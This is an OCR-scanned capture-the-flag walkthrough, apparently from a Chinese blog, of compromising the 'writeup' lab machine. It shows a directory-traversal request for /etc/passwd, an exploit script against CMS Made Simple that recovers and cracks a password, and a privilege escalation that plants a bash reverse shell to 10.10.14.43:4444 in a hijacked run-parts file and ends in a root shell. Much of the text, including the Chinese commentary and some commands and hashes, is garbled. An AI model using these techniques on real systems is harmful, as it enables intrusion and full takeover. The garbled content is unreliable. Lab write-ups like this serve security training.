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STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4pl Debian 10+deb9u6 (protocol 2.90)
ssh-hostkey:
2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
256 37:2e:14:68:ae:b9:c2:34:2b:6€:d9:92:bc:bf:bd:28 (ECDSA)
256 93:ea:28:40:42:c1:28:33:85:b3:56:00:62:1c:a0:ab (ED25519)

80/tcp open http Apache httpd 2.4.25 ((Debian))
http-robots.txt: 1 disallowed entry

_/writeup

_http-title: Nothing here yet.
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# Disallow access to the blog until content is finished.
Jser-agent: *
Jisallow: fwriteup/


https://blog.csdn.net/weixin_45527786
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_45527786/article/details/106186042

SRRt £ H 3%

#HEfE, FRRAEhtbiEHBE L ENER

REAFEEHKCE, Hdlpage=ttatt4, XKIRARERLFIEH, Kk, HELM. Tid, XHENMERE, XEIH&LESR,
AERHAEYLES LBF . REZXNBEBEREER

(0] 10.10.10.138huri[eupfindex.php?page:..f..f..k..f..f..fetc!passwd

ili Training “e, Kali Tools [ Kali Docs “ Kali Forums o NetHunter [l Offensive Security % Exploit-DB % GHDI
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RL was not found on this server.
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2 Box :» Machine X | writeup - writeup X | hittp://10.10.10.138/writeup/i’ X | = Exploit Database - Ex

R 1§ (@ view-source:http://10.10.10.138/writeup/index.php?page=writeup
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/pe html>
lang="en_US"><head>
itle=writeup - writeup</title>

wref="http://10.10.10.138/writeup/" /=
1ame="Generator" content="CMS Made Simple - Copyright (C) 2084-2019. All rights reserved." /=
1ttp-equiv="Content-Type" content="text/html; charset=utf-8" /=

- cms_stylesheet error: No stylesheets matched the criteria specified --=»
=, footer { background-color: white; position: fixed; left: 0; bottom: 8; width: 100%; color: black; text-alic
~<body>
:ader id="header"=
<hl>writeup</hl>
eader=
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#AT. python 46635.py -u http://10.10.10.138/writeup -w /usr/share/wordlists/rockyou.txt -c
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[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr

[+] Email found: jkr@writeup.htbT

[+] Password found: 62def4866937f08ccl3bab43bbl4e6f?
[+] Password cracked: raykayjay9

C:\root\exp\cms made simple> [j
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Basic information
0S: Linux version 4.9.0-8-amd64 (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9ul) ) #1 SMP Deb
ian 4.9.144-3.1 (2019-02-19)
User & Groups: uid=1000( ) gid=1000( ) groups=1000( ),24(cdrom),25( floppy),29(audio),30(dip),44(video),46(plugdev),50(staff)
,103(netdev)
Hostname: writeup

[+] Interesting GROUP writable files (not in Home)
https book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files

Group jkr:
/tmp/1linpeas

Group cdrom:

Group Tloppy:

Group audio:

Group dip:

Group video:

Group plugdev:

Group staff:
/var/local
Jusr/local
/usr/local/include
/usr/local/share
/usr/local/share/sgml
/usr/local/share/sgml/misc
/usr/local/share/sgml/stylesheet
/usr/local/share/sgml/entities
/usr/local/share/sgml/dtd
/usr/local/share/sgml/declaration
/usr/local/share/fonts
/usr/local/share/man
/usr/local/share/emacs
/usr/local/share/emacs/site-1isp
/usr/local/share/xml
/usr/local/share/xml/schema
/usr/local/share/xml/misc
/usr/local/share/xml/entities
/usr/local/share/xml/declaration
/usr/local/src
/usr/local/etc
/usr/local/lib
/usr/local python3.5
/usr/local python3.5/dist-packages
/usr/local python2.7
/usr/local python2.7/dist-packages
/usr/local python2.7/site-packages

/usr/Llocal/sbhin

Group netdev:
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~CExiting program... (interrupt)
$ which run-parts
/bin/run-parts
i teup: $ echo $PATH
local/bin:/usr/bin:/bin:/usr/local/games: /usr/games
riteup: $ cd /usr/local/bin
| $ nano run-parts
$ chmod 777 run-parts
s il

B AE/usrllocal/binE nanoig —AME Krun-parts, JR\#shelfRiS, {#7F Nrun-parts, FHERFHATHIR chmod 777 run-parts

! /bin/bash

bash -i dev/tcp/10.10.14.43/4444 0>8&1
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GNU nano 2.7.4

#!/bin/bash
bash -1 >& /dev/tcp/10.10.14.43[J4444 0>&1
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RBERBFIFH —N %0, BIREFssh, rootii & BHR#ATrun-parts, (B SEHEHAT IR RBE R SCH. ZHERBE oot T .
)

C:\root> nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.43] from (UNKNOWN) [10.10.10.138] 55112

bash: cannot set terminal process group (9934): Inappropriate ioctl for device
bash: no job control in this shell
root@writeup:/# whoami

whoami
root
root@writeup:/# |
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